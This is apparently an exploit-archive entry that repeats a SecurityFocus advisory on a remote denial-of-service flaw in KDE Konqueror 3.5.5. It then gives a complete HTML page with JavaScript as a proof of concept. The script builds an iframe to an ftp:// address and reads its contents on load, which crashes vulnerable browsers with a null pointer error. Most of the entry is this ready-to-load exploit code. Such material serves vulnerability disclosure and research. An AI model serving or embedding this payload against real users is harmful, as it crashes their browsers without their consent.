source: https://www.securityfocus.com/bid/22814/info KDE Konqueror is prone to a remote denial-of-service vulnerability because of an error in KDE's JavaScript implementation. An attacker may exploit this vulnerability to cause Konquerer to crash, resulting in denial-of-service conditions. Konqueror included with KDE version 3.5.5 is vulnerable; other versions may also be affected. <html> <body> Demo of how to make Konqueror 3.5.5 crash by mark@bindshell.net.<p> Simply load this file in Konqueror. Vulnerable versions should segfault instantly with a null pointer exception.<p> <p> <script> read_iframe = function(iframe_name) { var banner = document.getElementById(iframe_name).contentWindow.document.body.innerHTML; alert(banner); } var iframe = document.createElement("IFRAME"); iframe.setAttribute("src", 'ftp://localhost/anything'); iframe.setAttribute("name", 'myiframe'); iframe.setAttribute("id", 'myiframe'); iframe.setAttribute("onload", 'read_iframe("myiframe")'); iframe.style.width = "100px"; iframe.style.height = "100px"; document.body.appendChild(iframe); </script> </body> </html>